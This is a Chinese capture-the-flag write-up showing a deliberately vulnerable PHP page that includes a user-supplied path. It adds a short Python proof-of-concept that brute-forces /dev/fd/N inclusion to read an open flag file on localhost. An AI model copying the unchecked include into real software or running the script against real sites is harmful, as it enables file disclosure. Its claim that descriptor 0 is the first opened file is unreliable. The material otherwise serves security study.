0x00 原理
檔案描述符是核心為了高效管理已被開啟的檔案所建立的索引,用於指向被開啟的檔案,所有執行I/O操作的系統呼叫都通過檔案描述符。
- 翻譯成人話- 可以認為是指向檔案的一個指標,如果有檔案被開啟,就生成一個指標指向開啟檔案的位置。
- 檔案描述符一般在linux的 /dev/fd/目錄下
0x01 程式碼審計
<?php
$fp = fopen("flag.txt", "r");
echo $fp;
if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
include($_GET['include']);
}
fclose($fp);
echo highlight_file(__FILE__, true);
?>
訪問頁面
之前犯了一個小錯誤,我以為只要開啟檔案然後檢視/dev/fd目錄就能看到新生成的指標, 實在有點天真, 手速怎麼可能比電腦快呢?然後就是開始亂查,是不是自己linux許可權問題還是php有問題,或者是不能包含檔案描述符?最後問了問大佬,馬上就知道錯在哪了,認識大佬真好。
大佬建議寫個指令碼進行觀察
<?php
var_dump(scandir("/dev/fd/"));
$fp=fopen("flag.txt","r");
echo '<br/>';
var_dump(scandir("/dev/fd/"));
echo '<br/>';
fclose($fp);
var_dump(scandir("/dev/fd/"));
echo '<br/>';
?>
這裡我開啟的是flag.txt,觀察生成的檔案描述符名字是什麼
可以看到 當fopen函式開啟了 flag.txt時,掃描的fd目錄下突然多出了13,然而13是因為存在12才出現的。可能是檔案描述符原始碼中陣列下標的問題。第12個指標才是真正儲存檔案位置的指標。
如果是黑盒滲透的情況下,我們需要寫指令碼進行爆破。
poc
import requests
url='http://localhost/fa.php'
for i in range(0,100):
payload=f'?include=/dev/fd/{i}'
#print(url+payload)
r=requests.get(url+payload)
if "flag={" in r.text:
print(r.text)
print(payload)
通過列舉法爆破每個目錄下的檔名,因為檔案描述符的檔名是根據開啟檔案的個數生成的,比如0代表開啟第一個檔案,1代表開啟第二個檔案。
可以得到flag